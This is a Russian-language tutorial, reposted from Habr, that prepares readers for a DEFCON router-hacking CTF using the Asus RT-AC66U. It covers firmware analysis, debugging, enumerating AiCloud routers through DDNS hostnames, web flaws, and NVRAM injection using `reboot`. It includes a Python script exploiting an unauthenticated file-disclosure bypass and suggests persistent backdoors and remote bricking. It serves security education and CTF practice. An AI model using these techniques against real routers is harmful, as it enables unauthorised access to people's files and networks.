- PVSM.RU - https://www.pvsm.ru -

Взламываем Asus RT-AC66U и подготавливаемся к SOHOpelesslyBroken CTF

Наконец-то настал июль, время собираться на DEFCON. Фолловьте @defconparties [1] в твиттере и определяйтесь, какие местечки [2] посетить и на какие доклады [3] сходить.

В этом году будет новое соревнование — SOHOpelesslyBroken [4], от ISE и EFF. Цель Track 0 [5] состоит в том, чтобы показать ранее неизвестные уязвимости в домашних беспроводных роутерах. Track 1 [6] будет проходить в режиме CTF прямо во время DEFCON. CTFы всегда очень веселые, а конкретно этот подразумевает взлом реального железа, что веселее вдвойне!

image
Ага, это мое рабочее место =P

Меня очень интересует EFF Open Wireless Router [7] (переводчика, к слову, тоже), но они пока ничего не рассказывают об устройстве. В правилах соревнования [5] значится ASUS RT-AC66U [8] (HW Ver. A2) [Version 3.0.0.4.266] в качестве возможного устройства для взлома. У меня есть лишний RT-AC66U дома, поэтому я решил написать небольшой туториал для всех участников соревнования CTF

Разведка

Первым делом, нужно найти прошивку и ее исходный код. К счастью, Asus RT-AC66U лицензирован под GPL, и не составляет труда найти исходный код прошивки в интернете. Версия, используемая в CTF, старая, от 2012 года. Чтобы проанализировать прошивку получше, мы возьмем прошивку и исходники версий от v3.0.0.4.266 до v3.0.0.4.376.1123 (последняя версия на момент написания статьи):

Asus RT-AC66u v3.0.0.4.266 - прошивка [9]
Asus RT-AC66u v3.0.0.4.266 - исходный код [10]
Asus RT-AC66u v3.0.0.4.376.1123 — прошивка [11]
Asus RT-AC66u v3.0.0.4.376.1123 — исходный код [12]

Множество обновлений прошивки было выпущено между этими двумя версиями, поэтому мы посмотрим историю их изменений:
www.asus.com/Networking/RTAC66U/HelpDesk_Download/ [13]
image

По правилам конкурса, мы должны обнаружить и эксплуатировать 0-day уязвимость. Можно соединить несколько разных уязвимостей, чтобы набрать побольше очков. Если производитель пропатчил уязвимость без сообщения о ней, а вы смогли ее проэксплуатировать, то она все-еще будет считаться 0-day уязвимостью (давайте не будем обсуждать терминологию).

Итак, у нас есть исходный код, настало время распаковать и исследовать его. CTF Field Guide [14] от Trail of Bits содержит хорошие ресурсы по аудиту исходного кода [15]. Можно использовать утилиты, вроде Beyond Compare [16], Araxis Merge [17] и WinMerge [18] под Windows, или Meld [19], если вы используете Linux.
Будем работать с директорией "/asuswrt/release/src/router/". Сравним две версии через Meld:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [20]

У этого роутера уже есть много обнаруженных уязвимостей. Если вы хотите найти 0-day, вам нужно убедиться, что уязвимость не нашли до вас (и, поверьте, это самая сложная часть). В качестве примера:

У вас отнимут некоторое количество очков, если ваши эксплоиты требуют особой конфигурации системы или специальной информации. Так что, если вы хотите набрать много очков, вам стоит нацеливаться на стандартную конфигурацию сервисов и процессов.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [27]

Во вкладке «Приложения USB» в RT-AC66U можно настроить некоторые сервисы, вроде FTP, DLNA, NFS и Samba.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [28]

MiniDLNA тоже отличная цель. В нем можно легко найти уязвимости, используя исследование [29] Zachary Cutlip [30]'а, т.к. он ломал эту программу несколько раз.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [31]

Другим потенциально уязвимым сервисом является AiCloud — он соединяет вашу домашнюю сеть с онлайн-хранилищем и дает доступ с мобильного устройства:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [32]

Forensic

Пока часть команды исследует исходный код, forensics-специалисты будут распаковывать прошивку с использованием binwalk и fmk:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [33]

Вы можете помнить binwally [34] — утилиту, которую я написал для нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing [35]. В Binwalk есть своя опция для проведения fuzzy hashing между файлами и директориями.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [36]

Большинство производителей (вроде Asus) не открывают целиком весь код. Вероятно, вам придется реверсить драйверы и бинарники, чтобы найти хорошую уязвимость. Бинарник с именем «ACSD» наиболее интересен из-за того, что его убрали из новых версий прошивки (v3.0.0.4.374.130+) из-за уязвимость [37], найденной Jacob Holcomb [38].
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [39]

Бинарники для MIPS Little Endian.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [40]

Также, важно разузнать побольше о файловой системе. В OpenWRT Wiki есть замечательная статья про разметку флеш-памяти [41]. MTD [42] в Linux дает доступ к флеш-устройствам и позволяет создавать полноценные файловые системы на них. Можно зайти по ssh на устройство и посмотреть разметку:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [43]

Раздел NVRAM очень ценен для нас, в нем хранятся все настройки устройства. Вы можем посмотреть его содержание просто сдампив нужны раздел (mtd1) или выполнив команду nvram show:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [44]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [45]

Pmon — еще один интересный раздел. Он содержит данные, сжатые LZMA, которые использует загрузчик для восстановления прошивки при неудачном обновлении.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [46]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [47]

Взлом

Время начать чего-нибудь взламывать. Нам нужны утилиты вроде gdb, gdbserver и strace для начала отладки бинарников. Мы можем их либо кросс-компилировать, либо настроить Optware/Entware и установить собранные пакеты.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [48]

Wanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) довольно интересный процесс для анализа. Он запускается по умолчанию, и поднимет псевдо-HTTP сервер на порту 18017. Этот HTTP-сервер перенаправляет каждый запрос на главный интерфейс и, по какой-то причине, отбрасывает все запросы, которые заканчиваются на ".ico".
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [49]

Давайте разберемся, почему он так делает — запустим gdbserver удаленно (gdbserver --multi localhost:12345 &) и соединимся любым отладчиком на ваше усмотрение. Если вы используете IDA Pro, откройте бинарник и установите тип процессора в «mipsrl».
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [50]

Найдите функцию handle_http_req и установите точку останова на сравнении dst_url:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [51]

Введите host и port gdbserver'а в меню «Debugger / Process Options» и присоединитесь к нужному PID.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [52]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [53]

Продолжите выполнение процесса (F9) и выполните HTTP-запрос на 192.168.1.1/x.ico [54]. Отладчик остановится на заданной точке останова и вы сможете посмотреть регистры и память.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [55]

Если вы хотите найти другие цели для исследования, поищите их в директории «prebuilt» внутри «GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/». Некоторые интересные бинарники:

  • /acsd/prebuilt/acsd
  • /webdav_client/prebuilt/webdav_client
  • /asuswebstorage/prebuilt/asuswebstorage
  • /eapd/linux/prebuilt/eapd
  • /nas/nas/prebuilt/nas
  • /flash/prebuilt/flash
  • /et/prebuilt/et
  • /wps/prebuilt/wps_monitor
  • /ated/prebuilt/ated
  • /wlconf/prebuilt/wlconf

Мобильное приложение AiCloud может раскрыть больше интересной информации о работе устройства. Если вы разреверсите APK, или используете перехватывающий прокси, вы сможете получить первичный HTTP-запрос приложения:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [56]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [57]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [58]

Заметили странный параметр ddns_hostname? Задачка на криптографию =) (переводчик так не считает).

Криптография

POST-запрос пытается зарегистрировать новый Dynamic DNS адрес устройству, используя сервис asuscomm.com. Если мы поищем эту строку в исходниках RT-AC66U, то с легкостью найдем функцию, которая генерирует адрес DDNS:

var isMD5DDNSName = function(){
var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase().replace(/:/g, "");
return "A"+hexMD5(macAddr).toUpperCase()+".asuscomm.com";
}

По информации с WikiDev [8], RT-AC66U использует следующие идентификаторы организации в MAC-адресах:

  • 08:60:6E (1 E, 1 W, 2011)
  • 10:BF:48 (1 E, 2 W, 2011)
  • 30:85:A9 (3 E, 3 W, 2011)
  • 50:46:5D (1 E, 2 W, 2012)

Используя эту информацию, мы можем сопоставить IP адрес каждого роутера, использующего AiCloud. Просто сгенерируем список всех возможных MAC-адресов и переберем DNS-имена трюком [59] mubix'а [60]
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [61]

Если вам слишком лениво запускать команду, вы можете поискать «asuscomm.com» на Shodan [62].
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [63]

AiCloud по умолчанию работает на портах 8082 и 443. Сам факт, что любой человек может с легкостью получить список роутеров, у которых запущен этот сервис, должен вызывать беспокойство, верно? [22]

Другой интересной криптографической разминкой может быть разбор алгоритма для генерации WPS PIN-а устройства. Вы можете получить текущий PIN и secret_code, выполнив команду nvram show | grep -E secret_code|wps_device_pin". Поищите эти значения в исходном коде и используйте полученную информацию для написания кейгена (и не забудьте добавить чиптюн с pouet.net [64]).
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [65]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [66]

Вы также можете проверить энтропию ключей, сгенерированных на устройстве. Гляньте слайды «Fast Internet-wide Scanning and its Security Applications» [67], чтобы почерпнуть пару идей.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [68]

Веб

Есть так много техник для тестирования веб-проникновений, что я сфокусируют только на паре из них. У интерфейса роутера нет никакой защиты от CSRF. Также есть традиционный инжект в ping-команде и куча векторов XSS.

HTTP-демон основан на microhttpd. Тут есть базовая защита от выхода из директории в httpd.c:

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [69]

Мы можем бесстыдно стащить идею [70] hackerfantastic [71] и протестировать потенциальные обходы защиты:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    char *file;
    int len;
    file = argv[1];
    len = strlen(file);
    if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 )
    {
        printf ("Illegal filename:  %sn", file);
    }
    else
    {
        printf ("Accepted filename: %sn", file);
    }
    return 0;
}

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [72]

В веб-сервере есть некоторые обработчики MIME, которые «должны были быть убраны»

// some should be removed
struct except_mime_handler except_mime_handlers[] = {
{ "QIS_*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},	
{ "qis/*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},	
{ "*.css", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "state.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detect.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "popup.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "general.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "help.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_autodet.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply2.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "setting_lan.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "httpd_check.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "status.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "automac.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detecWAN.asp", MIME_EXCEPTION_NORESETTIME},
{ "detecWAN2.asp", MIME_EXCEPTION_NORESETTIME},
{ "WPS_info.asp", MIME_EXCEPTION_NORESETTIME},
{ "WAN_info.asp", MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status.asp", MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status_QIS.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "result_of_detect_client.asp", MIME_EXCEPTION_NORESETTIME},
{ "Nologin.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "alertImg.gif", MIME_EXCEPTION_NOAUTH_ALL},
{ "error_page.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "jquery.js", MIME_EXCEPTION_NOAUTH_ALL},
{ "gotoHomePage.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_appstate.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_cloudstatus.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "get_webdavInfo.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.gz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.tgz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.zip", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.ipk", MIME_EXCEPTION_NOAUTH_ALL},
{ NULL, 0 }
};

Файл get_webdavInfo.asp доступен без аутентификации и отображает большое количество важной информации об устройстве и сети:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [73]

Мы можем изменить значения переменных в nvram, чтобы установить XSS-бекдор на этой странице, например:
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [74]

Некоторые операции используют функиции nvram_get и nvram_safe_get. Настройки, бывает, сохраняются через функцию nvram_set. Если роутер не экранирует данные, которые получает с NVRAM, то можно сделать что-то вроде NVRAM-инъекции (%0A, %0D и `reboot` всегда будут вашими помощниками в этом деле).

AiCloud — очень уязвимый сервис, который можно легко проэксплуатировать [22]. Как только вы активируете его в настройках, на роутере запускается lighttpd на порту 8082 (или 443 на новых версиях прошивки) и предлагает дать доступ к вашим файлам онлайн. Прикол в том, что диалог ввода логина и пароля можно обойти, добавив /smb/ к URL (читайте исходники!)
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [75]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [76]

Я написал небольшой скрипт для эксплуатации этого бага в AiCloud на RT-AC66U v3.0.0.4.266. Он получает все файлы и пути на роутере, в том числе и с USB-устройств.

#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import sys

def list_dir(url, start_dir):
	try:
		html_page = urllib2.urlopen(url+start_dir)
	except urllib2.HTTPError as e:
		print e
		sys.exit(1)
	soup = BeautifulSoup(html_page)
	for link in soup.findAll('a'):
		path = link.get('uhref')
		if path != '../':
			is_dir = link.get('isdir')
			if  is_dir == str('1'):
				print url+path
				list_dir(url,path)
			else:
				print url+path

nargs = len(sys.argv)
if nargs == 2:
	url = sys.argv[1]
	start_dir = "/smb"
elif nargs == 3:
	url = sys.argv[1]
	start_dir = str(sys.argv[2])
else:
	print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure
		  nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354
		  nDisclosed by Kyle Lovett
		  nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com
		  nUsage: python %s http://url [path]' % sys.argv[0]
	sys.exit(1)

list_dir(url, start_dir)

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [77]

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [78]

И напоследок, не забудьте сравнить разницу в файлах в директории www. По этому пути находятся все компоненты и скрипты, которые используются в веб-интерфейсе.
Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [79]

Бонус

Почему-бы не попробовать открыть крышку роутера, не повредив гарантийную пломбу? Для этого вам понадобятся советы от ребят из DEFCON Tamber Evident Village [80].

Взламываем Asus RT AC66U и подготавливаемся к SOHOpelesslyBroken CTF [81]

Другое (вроде заключения)

Взлом Asus RT-AC66U — отличное упражнение для новичков во взломе роутеров. Бо́льшая часть исходного кода есть в свободном доступе, и можно найти кучу эксплоитов и описаний уязвимостей для него. Вы могли и не заметить, но мы протестировали каждый пункт из OWASP Internet of Things Top 10 [82]. Ходят слухи, что этот роутер будет в составе базовой части OWASP IoT Webgoat и Damn Vulnerable Embedded Linux.

Вот еще парочка подходов, которые вам могут дать дополнительные очки в соревновании:

  • Перезапись кода загрузчика и создание dual-boot с backdoor
  • Добавление backdoor в прошивку таким образом, чтобы он не удалялся при обновлении прошивки
  • Окирпичивание роутера удаленно
  • Перепрограммирование LED на игру в PONG

Есть еще куча вещей, о которых я хочу написать, но придержу их для следующих постов. Если вы намерены участвовать в SOHOpelesslyBroken CTF и нашли эту статью полезной, вы можете в любое время пнуть меня и попить со мной кофе во время DEFCON/BsidesLV/Blackhat =)

Автор: ValdikSS

Источник [83]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/linux/65496

Ссылки в тексте:

[1] @defconparties: https://twitter.com/defconparties

[2] местечки: http://defcne.net/villages/22

[3] доклады: https://www.defcon.org/html/defcon-22/dc-22-schedule.html

[4] SOHOpelesslyBroken: http://sohopelesslybroken.com/

[5] Track 0: http://sohopelesslybroken.com/track0.php

[6] Track 1: http://sohopelesslybroken.com/track1.php

[7] EFF Open Wireless Router: https://openwireless.org/

[8] ASUS RT-AC66U: https://wikidevi.com/wiki/ASUS_RT-AC66U

[9] Asus RT-AC66u v3.0.0.4.266 - прошивка: http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/FW_RT_AC66U_VER3004266.zip

[10] Asus RT-AC66u v3.0.0.4.266 - исходный код: http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/GPL_RT_AC66U_VER3004266.zip

[11] Asus RT-AC66u v3.0.0.4.376.1123 — прошивка: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/FW_RT_AC66U_30043761123.zip

[12] Asus RT-AC66u v3.0.0.4.376.1123 — исходный код: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/GPL_RT-AC66U_30043761123.zip

[13] www.asus.com/Networking/RTAC66U/HelpDesk_Download/: http://www.asus.com/Networking/RTAC66U/HelpDesk_Download/

[14] CTF Field Guide: https://trailofbits.github.io/ctf

[15] аудиту исходного кода: https://trailofbits.github.io/ctf/vulnerabilities/source.html

[16] Beyond Compare: http://www.scootersoftware.com/

[17] Araxis Merge: http://www.araxis.com/merge/

[18] WinMerge: http://winmerge.org/

[19] Meld: http://meldmerge.org/

[20] Image: http://habrastorage.org/getpro/habr/post_images/429/18f/337/42918f337c307a8647f025bf259290ae.png

[21] ASUS RT-AC66U Remote Root (Broadcom ACSD): http://infosec42.blogspot.com.br/2013/07/exploit-asus-rt-ac66u-remote-root.html

[22] ASUS RT-N66U Router — HTTPS Directory traversal and full file access and credential disclosure vuln: http://www.securityfocus.com/archive/1/526942

[23] Asus RT56U Remote Command Injection: https://hatriot.github.io/blog/2013/06/05/asus-rt56u-remote-command-injection/

[24] Taking over the ASUS RT-N56U and RT-AC66U: http://securityevaluators.com/knowledge/case_studies/routers/asus_rtn56u.php

[25] Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate): http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/

[26] OSVDB: http://osvdb.com/search?search%5Bvuln_title%5D=asus&amp;search%5Btext_type%5D=alltext

[27] Image: http://habrastorage.org/getpro/habr/post_images/5c5/22d/fde/5c522dfde0fcb2f6b6ea38fa6c4edd1f.png

[28] Image: http://habrastorage.org/getpro/habr/post_images/cd2/b3f/0e3/cd2b3f0e317a7ebf99c5269863e6fb1b.png

[29] исследование: http://shadow-file.blogspot.com.br/2014/05/infiltrate-2014.html

[30] Zachary Cutlip: https://twitter.com/zcutlip

[31] Image: http://habrastorage.org/getpro/habr/post_images/217/2d3/f69/2172d3f69b906aeb8ea8f3def1debf6a.png

[32] Image: http://habrastorage.org/getpro/habr/post_images/3c4/027/10a/3c402710ad893082c79cdbc8be222fb4.png

[33] Image: http://habrastorage.org/getpro/habr/post_images/ef7/a54/c3d/ef7a54c3d63c16a6e39b4583d11ca2c5.png

[34] binwally: https://github.com/bmaia/binwally

[35] нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing: http://w00tsec.blogspot.com/2013/12/binwally-directory-tree-diff-tool-using.html

[36] Image: http://habrastorage.org/getpro/habr/post_images/3a5/78e/bbe/3a578ebbeb7cfe258eac69e461fd8e0d.png

[37] уязвимость: http://infosec42.blogspot.com/2013/07/exploit-asus-rt-ac66u-remote-root.html

[38] Jacob Holcomb: https://twitter.com/rootHak42

[39] Image: http://habrastorage.org/getpro/habr/post_images/a23/8cd/cb9/a238cdcb97dce13817ad5bd6044225f4.png

[40] Image: http://habrastorage.org/getpro/habr/post_images/028/b64/d60/028b64d609af70396314f3151e75ecea.png

[41] про разметку флеш-памяти: http://wiki.openwrt.org/doc/techref/flash.layout

[42] MTD: https://en.wikipedia.org/wiki/Memory_Technology_Device

[43] Image: http://habrastorage.org/getpro/habr/post_images/2bf/697/9cd/2bf6979cdfefb64c5fbe0afee918c6d7.png

[44] Image: http://habrastorage.org/getpro/habr/post_images/aa8/dfb/384/aa8dfb38482c8a2148e6b2c04c502f26.png

[45] Image: http://habrastorage.org/getpro/habr/post_images/e84/7ab/b58/e847abb58b49a8f897cdb2e5ad320018.png

[46] Image: http://habrastorage.org/getpro/habr/post_images/7bb/e22/cbf/7bbe22cbf137d2d4ab9ac623e830b3bb.png

[47] Image: http://habrastorage.org/getpro/habr/post_images/ddc/51f/391/ddc51f391d10eeeea9cc94c9d8c26d37.png

[48] Image: http://habrastorage.org/getpro/habr/post_images/e7e/59f/b0c/e7e59fb0c065b34e7d6cd035a575b955.png

[49] Image: http://habrastorage.org/getpro/habr/post_images/7df/436/a5f/7df436a5f56d011beeb1c5fc96ba41e4.png

[50] Image: http://habrastorage.org/getpro/habr/post_images/550/f86/ef5/550f86ef58bf0a2bc3ac77371bcb62f6.png

[51] Image: http://habrastorage.org/getpro/habr/post_images/e0b/99d/6d1/e0b99d6d1197edbefda922dd0419027f.png

[52] Image: http://habrastorage.org/getpro/habr/post_images/432/6f5/2fc/4326f52fc051811f6db0f4bc4650b574.png

[53] Image: http://habrastorage.org/getpro/habr/post_images/0ee/152/944/0ee152944d61546a02c7d23865b78020.png

[54] 192.168.1.1/x.ico: http://192.168.1.1/x.ico

[55] Image: http://habrastorage.org/getpro/habr/post_images/9c9/aee/dd3/9c9aeedd3a31b362fdf3ef28be5554ef.png

[56] Image: http://habrastorage.org/getpro/habr/post_images/d58/bb5/a68/d58bb5a6855a127de7636599695599e1.png

[57] Image: http://habrastorage.org/getpro/habr/post_images/5b0/be9/006/5b0be90062b05e237f68df29f94b2cad.png

[58] Image: http://habrastorage.org/getpro/habr/post_images/606/320/ca6/606320ca666bbc802781b3cc9fe79312.png

[59] трюком: http://www.room362.com/blog/2014/01/29/hostname-bruteforcing-on-the-cheap/

[60] mubix'а: https://twitter.com/mubix

[61] Image: http://habrastorage.org/getpro/habr/post_images/739/0db/108/7390db1088a764a48043bdee7db663b5.png

[62] Shodan: http://www.shodanhq.com/

[63] Image: http://habrastorage.org/getpro/habr/post_images/03c/208/94b/03c20894b9d257778b713d71ccd81e86.png

[64] pouet.net: http://pouet.net

[65] Image: http://habrastorage.org/getpro/habr/post_images/7df/42d/df6/7df42ddf648147f8312523df95ec89b9.png

[66] Image: http://habrastorage.org/getpro/habr/post_images/e58/485/eb4/e58485eb4a8561c5052f2dee0267d847.png

[67] «Fast Internet-wide Scanning and its Security Applications»: http://events.ccc.de/congress/2013/Fahrplan/system/attachments/2226/original/Scanning-30c3-13.pdf

[68] Image: http://habrastorage.org/getpro/habr/post_images/2ce/ff7/0b8/2ceff70b8eaec7af2ac41ceb93340af2.png

[69] Image: http://habrastorage.org/getpro/habr/post_images/d8f/541/c76/d8f541c768474a958f4cd0d622a8ff0d.png

[70] идею: http://www.exploit-db.com/download_pdf/18094/

[71] hackerfantastic: https://twitter.com/hackerfantastic

[72] Image: http://habrastorage.org/getpro/habr/post_images/a42/43c/f30/a4243cf3091c85f7ae09124472ffcef6.png

[73] Image: http://habrastorage.org/getpro/habr/post_images/a12/4ee/c7d/a124eec7d5ad6c4e30ce8102185ff9aa.png

[74] Image: http://habrastorage.org/getpro/habr/post_images/805/30f/40c/80530f40c65bedadfcfcb925de42f9cf.png

[75] Image: http://habrastorage.org/getpro/habr/post_images/37d/79a/045/37d79a045c3e4cf67a0dbc518d81bbc9.png

[76] Image: http://habrastorage.org/getpro/habr/post_images/a5f/0ab/4b6/a5f0ab4b6b7de4a058095ff37f43bea1.png

[77] Image: http://habrastorage.org/getpro/habr/post_images/8d2/592/288/8d2592288250ceaff2a47b758ec9dc4b.png

[78] Image: http://habrastorage.org/getpro/habr/post_images/397/335/2e7/3973352e7b275a637c4e7d6f73313b32.png

[79] Image: http://habrastorage.org/getpro/habr/post_images/06e/38e/55b/06e38e55bc651787474eb08d66839398.png

[80] DEFCON Tamber Evident Village: http://defcne.net/villages/22/17

[81] Image: http://habrastorage.org/getpro/habr/post_images/61f/925/544/61f9255440160905553f1f9bee6c4d02.png

[82] OWASP Internet of Things Top 10: https://www.owasp.org/index.php/OWASP_Internet_of_Things_Top_Ten_Project#tab=OWASP_Internet_of_Things_Top_10_for_2014

[83] Источник: http://habrahabr.ru/post/230469/